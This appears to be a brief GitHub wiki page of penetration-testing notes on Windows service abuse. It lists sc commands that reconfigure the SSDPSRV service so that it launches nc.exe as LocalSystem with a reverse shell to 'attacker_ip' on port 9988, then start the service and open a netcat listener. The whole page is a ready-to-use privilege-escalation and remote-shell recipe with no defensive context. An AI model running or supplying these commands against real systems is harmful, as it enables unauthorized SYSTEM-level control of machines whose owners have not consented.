-
Notifications
You must be signed in to change notification settings - Fork 14
sc Service control
lethanhtung01011980 edited this page Oct 8, 2019
·
1 revision
- Already has a low privilege shell.
- Has RW for the service
- sc config SSDPSRV binpath= "C:\Inetpub\wwwroot\nc.exe -nv attacker_ip 9988 -e C:\WINDOWS\System32\cmd.exe"
- sc config SSDPSRV depend= ""
- sc config SSDPSRV obj= ".\LocalSystem" password= ""
- sc qc SSDPSRV
- sc config SSDPSRV start= auto
- net start SSDPSRV
- nc -nlvp 9988